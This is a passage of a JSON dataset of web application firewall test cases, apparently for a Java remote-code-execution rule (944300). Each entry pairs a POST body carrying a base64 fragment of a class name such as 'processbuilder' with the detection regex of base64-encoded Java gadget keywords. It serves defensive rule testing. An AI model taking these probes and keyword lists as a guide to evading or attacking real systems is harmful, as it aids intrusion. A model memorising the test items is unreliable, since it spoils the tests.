cHJvY2Vzc2J1aWxkZXI" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element attribute_name=\"attribute_value\">cHJvY2Vzc2J1aWxkZXI</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "XML element value includes keyword cHJvY2Vzc2J1aWxkZXI" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><l1><l2><l3><element attribute_name=\"attribute_value\">cHJvY2Vzc2J1aWxkZXI</element></l3></l2></l1></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "Nested XML element value includes keyword cHJvY2Vzc2J1aWxkZXI" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=cHJvY2Vzc2J1aWxkZXI" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "Content-Type text/plain includes keyword cHJvY2Vzc2J1aWxkZXI" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"test\": \"cHJvY2Vzc2J1aWxkZXI\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "Content-Type application/json arg value includes keyword cHJvY2Vzc2J1aWxkZXI" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"cHJvY2Vzc2J1aWxkZXI\": \"test\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "Content-Type application/json arg name includes keyword cHJvY2Vzc2J1aWxkZXI" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=HByb2Nlc3NidWlsZGVy" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "Argument test includes keyword HByb2Nlc3NidWlsZGVy" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "HByb2Nlc3NidWlsZGVy=test" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "Argument name includes keyword HByb2Nlc3NidWlsZGVy" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element attribute_name=\"HByb2Nlc3NidWlsZGVy\">element_value</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "XML attribute value includes keyword HByb2Nlc3NidWlsZGVy" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element attribute_name=\"attribute_value\">HByb2Nlc3NidWlsZGVy</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "XML element value includes keyword HByb2Nlc3NidWlsZGVy" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><l1><l2><l3><element attribute_name=\"attribute_value\">HByb2Nlc3NidWlsZGVy</element></l3></l2></l1></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "Nested XML element value includes keyword HByb2Nlc3NidWlsZGVy" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=HByb2Nlc3NidWlsZGVy" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "Content-Type text/plain includes keyword HByb2Nlc3NidWlsZGVy" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"test\": \"HByb2Nlc3NidWlsZGVy\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "Content-Type application/json arg value includes keyword HByb2Nlc3NidWlsZGVy" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"HByb2Nlc3NidWlsZGVy\": \"test\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": 